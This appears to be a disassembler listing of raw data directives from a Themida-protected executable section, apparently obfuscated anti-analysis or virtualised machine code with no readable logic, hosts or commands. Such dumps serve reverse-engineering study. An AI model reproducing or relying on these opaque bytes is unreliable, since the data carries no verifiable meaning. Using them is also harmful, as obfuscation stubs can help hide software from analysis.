dd 47000000h, 2D43C357h, 9E97F64h, 0E6000000h, 0BD9B4DDDh
dd 0C1833724h, 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 0AEB3D1C3h, 7AAE3508h
dd 5E8h, 6A882400h, 0FB8BB6C1h, 0BF006A5Fh, 76365181h
dd 39CB8166h, 0DFB5FF81h, 66060AADh, 95FFDE8Bh, 6070791h
dd 2B5D9D8Bh, 66960607h, 501E24BBh, 4890Fh, 0BB660000h
dd 6A96A949h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h
dd 45000000h, 70DFC355h, 7CFFCC44h, 0AE9CBh, 4C30000h
dd 0A6C17A5Eh, 0E0DB6259h, 0ADDFB5FFh, 6A060Ah, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 150F5FC3h, 82C5ACAFh, 995FF03h, 6A06072Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0DE94C355h, 1DA46258h, 0C159D8Bh, 56BF0607h, 836A2FA2h
dd 714C1BDh, 840F0006h, 52h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 15h, 0F2C35545h, 108F0FE8h, 0E9000000h
dd 0Bh, 0FF4786ABh, 0F2692041h, 96F47834h, 14E9h, 0DB3C0800h
dd 0F7736F4Ah, 29D59F3Eh, 0AC9FFF25h, 0E280F755h, 8B66500Bh
dd 0B5FF96F8h, 60AADDFh, 0DF17EB81h, 95FF7654h, 6071F95h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C0C35141h
dd 0ECF7E1BEh, 98D0Fh, 31600000h, 7222D85h, 0FF61F506h
dd 0AADDFB5h, 0FFBF0F06h, 2C195FFh, 6A0607h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0CAF71FC3h
dd 33BDF8B1h, 9BFE7E4h, 713218Dh, 83FD8A06h, 72865BDh
dd 840F0206h, 5Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 0BAC35343h, 5890F45h, 66000000h, 0F59DE781h
dd 0E69858Bh, 0CF810607h, 49EBFEA3h, 6A0000C6h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
dd 6611C353h, 8984A682h, 70A7D85h, 5185C706h, 6072Ah, 89000000h
dd 70CC5BDh, 0F46EE906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 0CDB8D2C3h, 6AC18BF9h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h
dd 45000000h, 134C355h, 70E3595h
db 6
byte_584375 db 8Dh, 85h, 0B1h ; DATA XREF: Themida_:0053E87Co
; Themida_:0053EA50o
dd 6A060718h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 2A43C357h, 90FB8B53h, 6A9050h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 0BF0F32C3h, 6D9D89DAh, 6A060710h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 63CB4D0Dh
dd 0F87ABDE9h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 858DEAC3h, 60B7DC4h, 1E85B589h
dd 0C0830607h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1A04h, 0C3564600h, 0A3BB6F42h, 905DDDB6h
dd 0FE8h, 0BF040200h, 6D09E8CCh, 852AF1Bh, 0BCFB43A9h
dd 5BDA8B66h, 90D98B50h, 0ACF78166h, 0F006A03h, 8166DABFh
dd 6A1ABADFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 0F986F04Fh, 1E3D95FFh, 13E80607h
dd 5D000000h, 0CA1999E4h, 1DE2AA83h, 54B78827h, 7D49A113h
dd 8D5BAA61h, 0A93D58Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 0E9481D1Dh, 0Fh, 7DA318C6h
dd 0B6D26F43h, 8849124Eh, 0FF448599h, 97C780D1h, 12E9h
dd 0FD0BF500h, 0CA4AECCDh, 0E6CFB416h, 22A8A756h, 830A9FADh
dd 719BDBDh, 850F0106h, 7Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0C7C35040h, 0F5979ED2h, 6AFABF0Fh
dd 6860F02h, 8B000000h, 72E6DBDh, 8B665006h, 240489DEh
dd 0D8E0Fh, 8E90000h, 36000000h, 359C9D1Eh, 8982F52Ah
dd 7121995h, 9195FF06h, 6A060707h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6DF1C355h
dd 0C9033E93h, 66A73228h, 0E9001CBBh, 0EC5h, 0E8h, 0ED815D00h
dd 60B7DCEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 2DC35747h, 0CE633A61h, 31371244h, 2559531h, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
dd 4B396DC3h, 8D887CCEh, 0A843F85h, 0FFE8A06h, 0E990DFBFh
dd 0Bh, 0AAE69B80h, 0A85A3BD7h, 50106B7Fh, 0CF8B6660h
dd 9061F38Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 15h, 0CDC35343h, 91BD8BE2h, 64060705h, 35FFh, 89640000h
dd 25h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0D8E2C7C5h, 9589FD09h, 6070B71h
dd 32D5B589h, 81660607h, 0FF4218E3h, 72F5985h, 0B5295106h
dd 6070E61h, 6AFF6A5Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0F9A7C350h, 0CADF3E37h
dd 2051B509h, 0B5FF0607h, 6070859h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 18h, 86C35141h, 1B4108FAh, 10E8h
dd 9CA32900h, 0EDAF7C43h, 0B45EB6E2h, 31B9E0B7h, 605BF9DCh
dd 0EE98D09h, 85230607h, 6072CBDh, 8995FF61h, 0E906072Bh
dd 15Fh, 0B0DE8Bh, 0F299D8Bh, 70E60607h, 5800Fh, 0F8BF0000h
dd 0E45B1D12h, 37BF6671h, 0F613C5Fh, 13A83h, 659D2B00h
dd 0F06070Ah, 11E9C8B6h, 81000000h, 9E48A038h, 83EF68Dh
dd 3DA8E825h, 0CB1C6C51h, 0AE9h, 26034D00h, 967836F5h
dd 0BA1A2A58h, 6, 169B589h, 9D010607h, 6072FE5h, 8D29C18Bh
dd 60718E1h, 0F04E8C1h, 481h, 0DA8B5200h, 0E2F7665Bh, 2A219D8Bh
dd 0C82B0607h, 8BF8BF0Fh, 9E960D1h, 68000000h, 0AA2B65Eh
dd 870D8088h, 0DF8B6650h, 7E9615Bh, 0F8000000h, 6D40D781h
dd 858B1119h, 6071FD5h, 79F5EB81h, 0C0836963h, 459D2307h
dd 83060713h, 0CE800C0h, 0FE000000h, 8CA502D5h, 0AE505547h
dd 0E9FF7E2Fh, 0Ah, 0A1C70A4Bh, 89F46FB5h, 3B5BC8C3h, 11830FD0h
dd 81000000h, 1C09ACE7h, 0BDB53146h, 0E9060722h, 63h, 1EE58D8Bh
dd 0FE80607h, 1F000000h, 27C57BD0h, 0B91FC9E0h, 1253E8E6h
dd 0B70F195Ch, 0E1835FF8h, 3C840F01h, 8B000000h, 73251BDh
dd 0E5A58306h, 0FE06071Eh, 1C800Fh, 12E80000h, 90000000h
dd 83DBA38Eh, 0BE032505h, 0C1D975C2h, 0B500C90Bh, 0AABB66F8h
dd 95895F6Eh, 6071FD5h, 0E9D88Bh, 8D000000h, 0AF30CB5h
dd 0C820F06h, 0F000000h, 686h, 850F00h, 6A000000h, 0DEBF0F00h
dd 0D6995FFh, 9D310607h, 6073329h, 81BB9h, 83C9B300h, 0BF0FFCE1h
dd 0BF0FFCFFh, 20BF66FAh, 89C02B34h, 72B9D9Dh, 0BA06h
dd 0BB660000h, 33AD85C9h, 3E8D1C2h, 4E983D0h, 0BF66F475h
dd 8166447Ch, 0F50603D7h, 880Dh, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0F0AE0B70h
dd 0F88B662Fh, 8BFB8B66h, 71AD995h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1804h, 0C3514100h, 71E824A0h
dd 0D8BF66A5h, 0C8E0F6Ah, 0F000000h, 689h, 0C9BD8B00h
dd 8B06071Ah, 7101D8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 0C16C64FCh, 56D3BA0h
dd 625CBF66h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 2126E7C3h, 8C2FCC94h, 0FA95FD1h, 48Dh, 0A9BF6600h
dd 11E961h, 0E8DF0000h, 0CA353CA2h, 841F3E77h, 87A39A34h
dd 6AC2D7DBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 7FD7C351h, 0F88B6680h, 1525BD03h
dd 0BD830607h, 6070E29h, 98840F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0B842C356h, 0
dd 1853152h, 5B06071Eh, 4B9B8D8Dh, 6A0607h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D6FBCDC3h
dd 0F7BFB5F1h, 12C59D89h, 0E1FF0607h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 18h, 75C35646h, 0DA76AFFFh, 0DE860h
dd 76DB0000h, 0EF37607Eh, 7CEEE6D7h, 668621A8h, 5AE952BEh
dd 30D9589h, 83610607h, 73305BDh, 840F0006h, 497h, 19F5BD8Bh
dd 0BD830607h, 6073305h, 9F840F01h, 31000004h, 72221B5h
dd 5BD8306h, 3060733h, 456860Fh, 0BD890000h, 6072D1Dh
dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 719D8910h, 8B06070Eh, 702A59Dh, 0CB816606h
dd 8C665FB3h, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 896DD7FCh, 72BC98Dh, 4E18006h, 0B3C78166h
dd 0FC90A3Ah, 15D84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 6F4C1E57h, 858B7FE5h
dd 6072A1Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ch, 59C35040h, 0EFF0E32h, 757FF2A2h, 1AFD8533h, 8B660607h
dd 0DE8B90FEh, 830F6050h, 2, 0BE9FB8Bh, 17000000h, 72A28EE1h
dd 85B2F8B0h, 906175EFh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h, 41C35646h, 6522F0EBh, 6AC0CF80h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0E8F5F839h, 11h, 9625963Fh, 2AC19683h, 0CAAC9E59h, 0E867AE58h
dd 8D8957DAh, 6072155h, 0BD8B5F5Bh, 6072A79h, 28010268h
dd 8D0F8Fh, 81000000h, 2FD2404h, 6A70F7h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 160424h, 51410000h, 7B39BDC3h
dd 0F8F0B760h, 0FD858961h, 0FF06072Ch, 709F995h, 2D8D2906h
dd 89060730h, 0AADDF85h, 0BF666006h, 8D31DC94h, 6072235h
dd 1FCE961h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 170424h, 52420000h, 76EDBBC3h, 29F3BF88h, 858B69F6h
dd 60AADD7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0AAC35646h, 73ABE989h, 2B719D03h, 0C70607h, 18h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0A1C35040h
dd 1D1732B8h, 0ADDBB58Bh, 6A060Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 0A5E59DC3h, 0FC8447D5h
dd 2BCD858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 6FBFDDC3h, 10E901DEh, 4B000000h
dd 0CC039320h, 609ADBECh, 0B8E31673h, 8B097B14h, 8B0689D9h
dd 730559Dh, 1D858B06h, 6A06072Ah, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0D1F3C357h
dd 10DD5BF4h, 4665B79Fh, 6810Fh, 95890000h, 6070911h, 0E9044689h
dd 11h, 49F9312Ch, 0A7B781A5h, 6AFCF73h, 13CA892Dh, 3DBD8BDFh
dd 5006070Ch, 3489D88Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1A04h, 0C3524200h, 0E99386EFh, 6697A0CDh
dd 0FF1CC6BBh, 0AADD7B5h, 7E906h, 3C160000h, 39832FA9h
dd 0EEC76811h, 0F6040BDh, 28Fh, 666DB200h, 61E214BBh, 38243481h
dd 3340A2EDh, 71FDD9Dh, 0DF858D06h, 57060AADh, 505FD98Bh
dd 0DA8B6660h, 0EE8h, 5714800h, 0F83FEEFBh, 4B3878Bh, 0FC867CEh
dd 84h, 89615B00h, 9D8B2404h, 60707D5h, 9F995FFh, 6A0607h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 89B0B2C3h, 73029B5h, 0DEBF0F06h, 21659509h, 6A610607h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 0E9A7C350h, 924586C9h, 0ED3E55BDh, 330585C7h
dd 30607h, 26B30000h, 0ADDFBD83h, 0F00060Ah, 7784h, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 0E8D6CFA4h, 0Fh, 2CD6ECF9h, 0E68870F3h, 0D2B3D5C9h
dd 0E994F932h, 9, 9F51B23h, 0A22EDA90h, 8D895FD2h, 6070BE1h
dd 46E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 62AFABC5h, 45B2B821h, 0BD299B06h
dd 60714A9h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h
dd 0E8C08B00h
db 7, 0
word_584F4E dw 0 ; DATA XREF: ___:00436804o
dd 0E0AB889Bh, 0E9E44C6Dh, 0Eh, 0E723F0D2h, 0DDEC6EB4h
dd 4EFBA50Bh, 6A5FD2FDh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 7924C350h, 2EA8A3D5h
dd 10E94840h, 0D4000000h, 0F11EC2B1h, 21D5874Dh, 0E19C0929h
dd 836AF1E5h, 73305BDh, 850F0306h, 445h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Ch, 3FC35141h, 0F4EC9734h
dd 0F071AD74h, 35BD0360h, 0E8060703h, 0Dh, 0E8A9AFD8h
dd 0DFF5B9DCh, 0F08D8FBh, 860F24h, 5B000000h, 0DFBD8361h
dd 60AADh, 3F3840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1A0424h, 55450000h, 0BC564DC3h, 1A016058h
dd 0ADDFB5FFh, 0BF66060Ah, 95FF9CF2h, 6072129h, 5870F51h
dd 66000000h, 8204EF81h, 0D3B58B5Fh, 0F060AADh, 6C7FEB7h
dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 17h, 13C35141h, 0BBAFC768h, 3F882D29h, 0E41BD2Bh, 0BF500607h
dd 2EBAC8B8h, 6A243489h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 19042444h, 47000000h, 53AC357h, 0AA157076h
dd 2F159D31h, 0B5FF0607h, 60AADDFh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 0DFC35646h, 5DFCD87Fh, 0AE94Ah
dd 3C330000h, 41D34654h, 0B8E717ACh, 13ED9D8Bh, 0CB800607h
dd 5195FFB1h, 66060702h, 8B9818BFh, 0AADD3B5h, 57006A06h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 9C1E766h, 8BDA8BE4h, 712A185h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0DBB70F2Fh
dd 0EDBD8Bh, 86890607h, 0C4h, 1AD9958Bh, 0BF660607h, 0C283C135h
dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0E8E1E630h, 0Bh, 1ECD27C8h, 928AFFAAh, 5F6BEC7Ch
dd 6A205089h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 52FBC357h, 0F9312C7Ch, 8FBFA549h
dd 0F548BEDh, 688h, 1D958900h, 8D060705h, 0AC17085h, 0DBB70F06h
dd 22A18D29h, 86890607h, 0B8h, 2869B529h, 6A0607h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8FC35040h, 14E8h
dd 0AC6E7400h, 67E5E77Ah, 0AE33FF69h, 0E556C488h, 0E8D37FA0h
dd 5F5F5756h, 66D78B60h, 61CADBB9h, 0ADDFB5FFh, 8166060Ah
dd 66935AD7h, 0FF26D0BBh, 7079195h, 88F38106h, 961BB8F2h
dd 0F525050h, 50525031h, 5A310F52h, 66310F58h, 5A5375BBh
dd 96585A58h, 0D9DBD33h, 0B5FF0607h, 60AADDFh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6EC35747h, 8D296FF0h
dd 60728F5h, 5E9h, 22137F00h, 95FF85F6h, 6072D09h, 905B589h
dd 0BD830607h, 60714C1h, 68840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
dd 72FCC351h, 0BBEB421Ah, 6840Fh, 9D8B0000h, 6071A59h
dd 49BF6696h, 0E86050B7h, 0Ah, 0F40897E0h, 895C6220h, 4DB0905Bh
dd 6A96615Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 51BDC357h, 0FFFA8BECh, 0AADDFB5h
dd 0CF816606h, 95FF8C27h, 6071F95h, 2CB59D8Bh, 0E3810607h
dd 3D833A7Bh, 0ADDFB5FFh, 6A060Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1B0424h, 50400000h, 45390FC3h, 82862C5Bh
dd 7E986h, 0FB560000h, 687BD5C1h, 0C195FFDFh, 8A060702h
dd 65BD83F8h, 2060728h, 73840Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0FB4DBDC3h
dd 0F35B2256h, 10E9h, 0B3DCA00h, 0CBDF4545h, 5154CDD5h
dd 637899A5h, 0B19D8B04h, 8B060722h, 72F619Dh, 69858B06h
dd 6A06070Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 6570C355h, 0A1BD8B29h, 0C606070Eh
dd 0F3800000h, 5185C77Fh, 6072Ah, 29000000h, 72C5585h
dd 0F27BE906h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1C0424h, 53430000h, 880E05C3h, 3D2F03A4h, 66F987DEh
dd 0C18BF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 2CC35343h, 0BD8B155Bh, 6070795h, 0E7B3DBFh, 0B1858D60h
dd 90060718h, 9050ADB3h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Dh, 0F2C35040h, 970C1F36h, 0ABBE2A94h, 0B74DB38Eh
dd 0F006A11h, 6ADEBFh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 5C35141h, 830F9B2Eh, 6, 2A818D89h, 858D0607h
dd 60B8EC6h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 19h, 0F9C35646h, 0ABB545BBh, 698D893Fh, 89060710h, 71E21B5h
dd 5C08306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 9CC35040h, 79958931h, 66060700h, 6690D98Bh, 9050F98Bh
dd 12E9D98Ah, 4A000000h, 3BE29021h, 5962F7A7h, 72D2F326h
dd 19F78400h, 8B006A88h, 711A59Dh, 6A006A06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0B8B5C356h, 0BBE58B66h, 6C5F49ABh, 3349BD8Bh, 95FF0607h
dd 6071E3Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 76C35747h, 0FF4786ABh, 89512041h, 705918Dh, 0DF815F06h
dd 7DC12487h, 93D58D8Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 418544C3h, 35BFBF6Eh
dd 0F6064EDh, 0B966CEBFh, 0FF617C09h, 0A99D03D1h, 8306070Ch
dd 719BDBDh, 850F0106h, 0A5h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 14h, 0CAC35747h, 6E8h, 0D0DE1C00h
dd 5B77D8E0h, 8B666052h, 14E9CFh, 45D40000h, 5FBF0D48h
dd 90E8BD77h, 0FF20C723h, 0D17FAE60h, 5B61C568h, 14E8026Ah
dd 0EC000000h, 7D97FBECh, 0E25FC4AFh, 0BDCBE780h, 6CFD3894h
dd 0E82A7DC8h, 10h, 29FE7348h, 9F74DE98h, 2CA1AC8Bh, 100337A4h
dd 1411BD8Bh, 5B5B0607h, 0E9525050h, 6, 6B1C0C36h, 310F85FFh
dd 585AF98Bh, 8A240489h, 9195FFFEh, 8B060707h, 706859Dh
dd 0DDAE906h, 0E80000h, 5D000000h, 8ED0ED81h, 11E9060Bh
dd 0B2000000h, 0E09DB51h, 818A0CC4h, 0A859F2Eh, 0F64B81F1h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7C35343h
dd 8B607B86h, 0F58529F1h, 6106071Ah, 858DDD8Ah, 60A843Fh
dd 50DF8B66h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 0AC6BC355h, 3A4EAE01h
dd 64FA8B66h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 627D50C3h, 371BD8Bh
dd 0F570607h, 285h, 5B62B300h, 258964h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0C648C353h, 0A8F5D83Eh
dd 48D0FA0h, 66000000h, 0FFE898BBh, 72F5985h, 7D9D8906h
dd 6A060718h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 51B5FF7Bh, 6A060713h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0B89BC355h
dd 8B6B469Ch, 70905BDh, 8995FF06h, 0E906072Bh, 15Dh, 28B19D8Bh
dd 0B00607h, 287DBD89h, 70E60607h, 6870F60h, 2B000000h
dd 71249BDh, 20BBB906h, 0BB612495h, 4618B20Ch, 858971E4h
dd 6070F19h, 830F613Ch, 125h, 15830Fh, 10E90000h, 19000000h
dd 0A8ECAB64h, 54741D31h, 59B12DBEh, 668B168Bh, 0F81C1BFh
dd 8166C8B6h, 0BFC0BECFh, 44C42280h, 6BAh, 0E7816600h
dd 0C18BBEAAh, 1FD1BD8Bh, 0AEBB0607h, 0C132E654h, 9D8904E8h
dd 6070C25h, 1E2F766h, 718D5BDh, 29C82B06h, 71AF59Dh, 66D18B06h
dd 0F9B1D781h, 6E9h, 9852900h, 8B06072Bh, 7020185h, 7C08306h
dd 0E800C083h, 13h, 6ACA961Ah, 87ECB80Bh, 0D273DC5Ah, 0A5D4CFF2h
dd 8931936Eh, 70BD5B5h, 0D03B5F06h, 16830Fh, 9D8B0000h
dd 607134Dh, 0C5B088BBh, 73E90Bh, 85010000h, 6072059h
dd 26198D8Bh, 12E90607h, 18000000h, 0CACCC160h, 5FB2BA78h
dd 8AC2A5C0h, 4655B5E7h, 1E183B2h, 47840Fh, 0FE90000h
dd 88000000h, 48052C30h, 0AB6B584Dh, 59152925h, 0A5830777h
dd 6072619h, 7E9FEh, 0ADD30000h, 0D1F6D666h, 1958981h
dd 0E9060702h, 10h, 9AFB91h, 0FF921F1Ch, 1C3AE0E2h, 16477719h
dd 0E9h, 24B58D00h, 89060AFDh, 70CA9B5h, 6A006A06h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 0F150C357h, 800F53EFh, 2, 0FF5F5B51h, 70D6995h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 7E989A0h, 0D3000000h, 46120D6Dh, 31B9DB71h, 0F000007h
dd 28Ah, 83EEB300h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 3E442AC3h, 9D8B0A4Eh
dd 607205Dh, 0F8D8509h, 6AFC0607h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0CB9AC355h
dd 0B5BD8B46h, 0B806071Eh, 0
dd 8896BF66h, 9D0BD22Bh, 607117Dh, 0D1C233ADh, 83D003E8h
dd 0F47504E9h, 0BE9h, 13340B00h, 9E411581h, 4E929CC4h
dd 0FE8h, 0C913DC00h, 2214C18h, 8BC744F9h, 43798A74h, 0B19BD8Bh
dd 665B0607h, 880DFA8Bh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0AFA3C353h
dd 8B96A28Ah, 71AD995h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 75B5091Ch, 8B060706h
dd 7101D8Dh, 0A98D8906h, 50060728h, 188BC28Bh, 188BC103h
dd 0E8D1C18Bh, 188BC203h, 19D0958h, 0B7060712h, 29BD8380h
dd 6070Eh, 0A3840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0FE40D4C3h, 2D9D89h
dd 0C7810607h, 4E586751h, 0B8h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 306AC1D6h
dd 34D9CE5Eh, 4B5999BBh, 8DDE8B47h, 74B9B8Dh, 0CE906h
dd 60CC0000h, 0F732D8B5h, 4981FF87h, 0E1FFDC1Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0FC35343h, 0E5D74489h
dd 19B88E57h, 84BB52DBh, 5F372A5Ch, 0D8B959BBh, 5BD8374h
dd 60733h, 3FF840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1C0424h, 52420000h, 0CFE29CC3h, 40177FC4h
dd 0EEBB8EDBh, 83624C9Ah, 73305BDh, 840F0106h, 3E4h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0C35646h, 0FED2FB3h
dd 68Bh, 959D8B00h, 83060728h, 73305BDh, 860F0306h, 376h
dd 6A60F8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 8509EAC3h, 6071E8Dh, 61CFBB66h, 8BD98C66h
dd 7222DBDh, 4E18006h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ah, 71C35040h, 0BCDE5065h, 0BD333180h, 6070CA9h
dd 840FC90Ah, 10Eh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 15h, 82C35040h, 0E9BF662Fh, 8E9D5h, 98370000h
dd 35E67CACh, 858BA1BCh, 6072A1Dh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Dh, 0B4C35747h, 0F9B1CD60h, 474C76C9h
dd 8C0F95h, 33000000h, 71AFD85h, 55006A06h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 89DF5303h
dd 0FC3B3F4h, 887h, 28E0F00h, 60000000h, 8B665061h, 240489FBh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0CFC35242h
dd 0A1BB006Ah, 68018C99h, 544DBE1Fh, 52505160h, 585A310Fh
dd 61C88A5Ah, 0E0243481h, 0E95452BDh, 13h, 103B8546h, 1C6DB04Dh
dd 39BDCEBAh, 0D496FC7Bh, 0FF2EE9B2h, 709F995h, 918D8906h
dd 6606072Bh, 89699FBFh, 0AADDF85h, 192E906h, 0BB660000h
dd 858B9E1Ah, 60AADD7h, 1800C7h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1ADB6CC3h
